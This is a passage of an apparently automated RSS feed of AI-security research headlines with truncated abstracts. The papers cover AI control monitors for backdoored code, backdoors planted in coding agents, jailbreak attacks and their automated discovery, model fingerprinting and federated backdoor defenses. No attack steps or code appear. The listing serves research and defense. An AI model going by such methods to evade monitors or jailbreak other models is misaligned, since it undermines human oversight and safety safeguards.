isPermaLink="false">keryn-headlines-event-ev_0136d1d2daa9</guid><pubDate>Fri, 30 Oct 2026 13:21:03 GMT</pubDate><category>Research</category><category>Models</category><description>AI control relies on monitors to catch a capable model that sabotages its work. These monitors are evaluated on their ability to differentiate honest from backdoored code. We show that on a standard evaluation dataset, simple features beat most monitors without ever running the…</description></item><item><title>Kerkoporta: Injecting Structured-Output Backdoors in Reasoning Coding Agents</title><link>https://arxiv.org/abs/2611.00138</link><guid isPermaLink="false">keryn-headlines-event-ev_2b95c0816499</guid><pubDate>Thu, 29 Oct 2026 18:41:43 GMT</pubDate><category>Research</category><category>Agentic SDLC</category><category>AI Security</category><category>Models</category><description>Existing large language model (LLM) backdoor attacks operate primarily in chat settings, where the risk is bounded by free-form text outputs. AI agents remove that bound by performing actions and executing commands on the user&#39;s machine. We introduce structured-output backdoor…</description></item><item><title>Systematic Evaluation of Adversarial Jailbreaking Attacks and Defenses Across Seven Large Language Models</title><link>https://arxiv.org/abs/2610.39509</link><guid isPermaLink="false">keryn-headlines-event-ev_40b4feea8cb6</guid><pubDate>Thu, 29 Oct 2026 07:07:58 GMT</pubDate><category>Research</category><category>Models</category><description>Large language models (LLMs) deployed in safety-critical settings must resist adversarial inputs designed to elicit harmful outputs. We present a systematic empirical evaluation of five adversarial jailbreaking attack families---direct requests, roleplay-based jailbreaking,…</description></item><item><title>Discovering Jailbreaks via Curriculum of Models</title><link>https://arxiv.org/abs/2610.38833</link><guid isPermaLink="false">keryn-headlines-event-ev_dc1f6e39adfd</guid><pubDate>Wed, 28 Oct 2026 20:23:32 GMT</pubDate><category>Research</category><category>Models</category><description>Automated jailbreak discovery aims to find prompts that elicit prohibited behaviors from safety-trained language models, helping developers identify vulnerabilities before deployment. One class of approaches uses reinforcement learning to train an investigator model to generate…</description></item><item><title>Rethinking LLM Jailbreak Evaluation: Continuous Risk Landscapes Beyond Binary Outcomes</title><link>https://arxiv.org/abs/2610.38595</link><guid isPermaLink="false">keryn-headlines-event-ev_aa417dd03b2d</guid><pubDate>Wed, 28 Oct 2026 10:23:27 GMT</pubDate><category>Research</category><category>Models</category><description>A binary success indicator is a natural representation for discriminative tasks such as image classification under adversarial perturbations, where each input is mapped to a single prediction. However, generative tasks are fundamentally different: an LLM jailbreak prompt…</description></item><item><title>Jailbreak Connectivity: Towards Diverse, Transferable, and Universal Multimodal Large Language Model Jailbreak</title><link>https://arxiv.org/abs/2610.38091</link><guid isPermaLink="false">keryn-headlines-event-ev_53ffcd85a942</guid><pubDate>Wed, 28 Oct 2026 00:13:19 GMT</pubDate><category>Research</category><category>Models</category><description>Multimodal large language models (MLLMs) are vulnerable to visual jailbreak attacks that bypass safety safeguards. Existing methods typically optimize isolated adversarial examples, limiting attack diversity, transferability, and generalization. We propose Jailbreak…</description></item><item><title>From Representations to Computational Trajectories: Intrinsic Fingerprinting for Large Language Model Provenance Verification</title><link>https://arxiv.org/abs/2610.34675</link><guid isPermaLink="false">keryn-headlines-event-ev_9558bbb927ae</guid><pubDate>Mon, 26 Oct 2026 01:11:44 GMT</pubDate><category>Research</category><category>Models</category><category>Trust</category><description>Large language models (LLMs) are valuable digital assets, yet their weights can be easily modified after unauthorized acquisition, making model provenance difficult to verify. Model fingerprinting provides a promising solution for model ownership protection without modifying…</description></item><item><title>FedGraph: Defending Federated Large Language Model Fine-Tuning Against Backdoor Attacks via Graph-Based Aggregation</title><link>https://arxiv.org/abs/2610.18430</link><guid isPermaLink="false">keryn-headlines-event-ev_61ef043ff740</guid><pubDate>Tue, 13 Oct 2026 14:08:49 GMT</pubDate><category>Research</category><category>Models</category><description>Federated fine-tuning of large language models (LLMs) allows multiple clients to collaboratively adapt models without sharing raw data, offering strong privacy benefits. However, this setting is highly vulnerable to backdoor attacks, in which malicious clients manipulate their…</description></item><item><title>Fingerprinting Multimodal Large Language Models</title><link>https://arxiv.org/abs/2609.20457</link><guid isPermaLink="false">keryn-headlines-event-ev_0b9d5a2db83a</guid><pubDate>Thu, 17 Sep 2026 14:21:39 GMT</pubDate><category>Research</category><category>Models</category><description>While multimodal large language models (MLLMs) enable a wide range of image-text reasoning tasks, recent incidents indicate that they are vulnerable to illicit deployment and unauthorized distillation. Existing solutions for model provenance are typically confounded by shared…</description></item><item><title>MITRE ATLAS (releases) v2026.09</title><link>https://github.com/mitre-atlas/atlas-data/releases/tag/v2026.09</link><guid isPermaLink="false">keryn-headlines-event-ev_b348f98abd8d</guid><pubDate>Tue, 15 Sep 2026 15:03:27 GMT</pubDate><category>Release</category><category>AI Security</category><category>Models</category><description>Content v2026.09 This version of ATLAS data contains 1 matrix, 16 tactics, 120 techniques, 88 sub-techniques, 40 mitigations, and 73 case studies. Techniques Added new techniques Triggers in Multimodal Inputs AI Agent Response Biasing Crafted AI Assistant Links Misconfigured or…</description></item><item><title>MITRE ATLAS (releases) v2026.07</title><link>https://github.com/mitre-atlas/atlas-data/releases/tag/v2026.07</link><guid isPermaLink="false">keryn-headlines-event-ev_40c25bacbe52</guid><pubDate>Fri, 07 Aug 2026 00:20:00 GMT</pubDate><category>Release</category><category>AI Security</category><category>Models</category><description>Content v2026.07 This version of ATLAS data contains 1 matrix, 16 tactics, 101 techniques, 77 sub-techniques, 37 mitigations, and 68 case studies. Techniques Added new techniques Publish Poisoned AI Artifacts Manipulate AI Model: Modify Prompt Construction Logic AI Agent Tool…</description></item><item><title>Don&#39;t Trust the AI Ecosystem: Analyzing Privacy Leakage in Compromised Open-Source Components</title><link>https://arxiv.org/abs/2607.27886</link><guid isPermaLink="false">keryn-headlines-event-ev_3e9ce7843b92</guid><pubDate>Thu, 30 Jul 2026 09:02:02 GMT</pubDate><category>Research</category><category>Models</category><category>SCA</category><description>Existing model inversion (MI) attacks predominantly rely on post-training optimization to recover private data from model outputs. However, these methods are fundamentally constrained by the target model&#39;s generalization bottleneck, often yielding generic features rather than…</description></item></channel></rss>